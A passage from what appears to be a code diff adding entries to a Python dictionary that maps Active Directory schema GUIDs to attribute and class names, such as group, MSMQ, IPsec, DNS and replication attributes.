'rpc-Profile-Element', + '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', + 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', + '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', + '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', + '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', + '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', + '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', + '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', + 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', + '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', + '9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', + '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', + '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', + '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', + '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', + 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', + 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', + 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', + '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', + 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', + 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', + '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', + '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', + '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', + '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', + 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', + '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', + 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', + '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', + 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', + 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', + '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', + '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', + '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', + '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', + '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', + 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', + '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', + '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', + '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', + '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', + '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', + 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', + 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', + 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', + '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', + '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', + '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', + 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', + 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', + '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', + 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', + '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', + 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', + 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', + 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', + 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', + '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', + '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', + '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', + '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', + 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', + 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', + 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', + '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', + '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', + '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', + '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', + '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', + 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', + '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', + 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', + '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', + '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', + 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', + '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', + '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', + 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', + 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', + 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', + 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', + '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', + 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', + 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', + 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', + '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', + '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', + 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', + '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', + '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', + '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', + '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', + 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', + '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', + 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', + 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', + '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', + 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', + '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', + 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', + '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', + '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', + 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', + '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', + 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', + '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', + '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', + 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', + 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', + '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', + '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', + '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', + 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', + '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', + 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', + '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', + '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', + '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', + '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', + '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', + 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', + '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', + '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', + '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', + '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', + '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', + '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', + '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', + 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', + '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', + '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', + 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', + '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', + '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', + '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', + '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', + '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', + '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', + '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', + 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', + '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', + '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', + 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', + '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', + 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', + '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', + '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', + 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', + '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', + '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', + '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', + 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', + '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', + 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', + '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', + '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', + 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', + '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', + 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', + 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', + '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', + 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', + 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', + 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', + 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', + 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', + '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', + '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', + 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', + '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', + 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', + 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', + 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', + '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', + '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', + 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', + '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', + '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', + 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', + 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', + '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', + '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', + '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', + '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', + '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', + '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', + 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', + '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', + 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', + 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', + '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', + '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', + 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', + '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', + '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', + 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', + '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', + 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', + 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', + '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', + 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', + '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', + 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', + 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', + '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', + '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', + 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', + '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', + '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', + 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', + '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', + 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', + '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', + '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', + 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', + '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', + 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', + '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', + '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', + 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', + 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', + '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', + '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', + 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', + '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', + 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', + 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', + 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', + 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', + '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', + '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', + 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', + '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', + 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', + 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', + 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', + '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', + 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', + 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', + 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', + 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', + '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', + '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', + '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', + 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', + 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', + 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', + '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', + 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', + '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', + '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', + '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', + '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', + 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', + 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', + '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', + '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', + 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', + 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', + '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', + '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', + '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', + 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', + 'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', + 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', + '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', + 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', + 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', + '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', + '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', + 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', + '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', + 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', + 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', + 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', + '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', + 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', + 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', + 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', + 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', + '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', + 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', + 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', + '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', + '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', + 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', + 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber', + 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', + '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', + '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', + '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', + 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', + 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', + 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', + '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', + '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', + 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', + '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', + 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', + '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', + 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', + 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', + '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', + 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', + 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', + 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', + 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', + 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', + 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', + 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', + 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', + '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', + 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', + 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', + 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', + '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', + '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', + 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', + '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', + 'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', + 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', + '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', + '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', + 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', + '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', + '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', + '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', + 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', + 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', + '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', + 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', + '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', + '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', + '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', + 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 